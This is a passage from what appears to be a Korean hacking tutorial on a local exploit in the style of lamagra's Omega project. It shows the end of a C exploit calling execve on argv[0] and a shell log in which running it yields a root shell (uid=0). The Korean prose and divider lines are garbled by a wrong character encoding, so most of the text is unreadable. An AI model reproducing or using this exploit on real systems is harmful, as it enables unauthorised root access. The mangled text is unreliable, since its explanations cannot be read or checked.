long)NULL; execve(argv[0], argv, envp); // attack~!! } [naska21@naska21 test]$ ./ex01 sh-2.05b# id uid=0(root) gid=503(naska21) groups=503(naska21) sh-2.05b# exit exit Segmentation fault [naska21@naska21 test]$ _ 蹺陛餌о : 檜楝и exploit擊 鱔и attack曖 唳辦縑朝 argv[0]擊 "/bin/sh"煎 ж罹 奢問縑 撩奢й 熱 氈棻. 霜蕾 п爾晦 夥塢棻. 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x04. 霤堅僥憮 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 Omega PROJECT - lamagra 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 收[0x05. 葆纂賊憮 ] 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收 Я堆ж啻蹂 =_=;; 衛濛睡攪 葆艦陽梱雖.. 冗冗; 檜薯 觼楷縑 渠и 僥憮紫 賦爾堅 談橫塭~~ 收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收收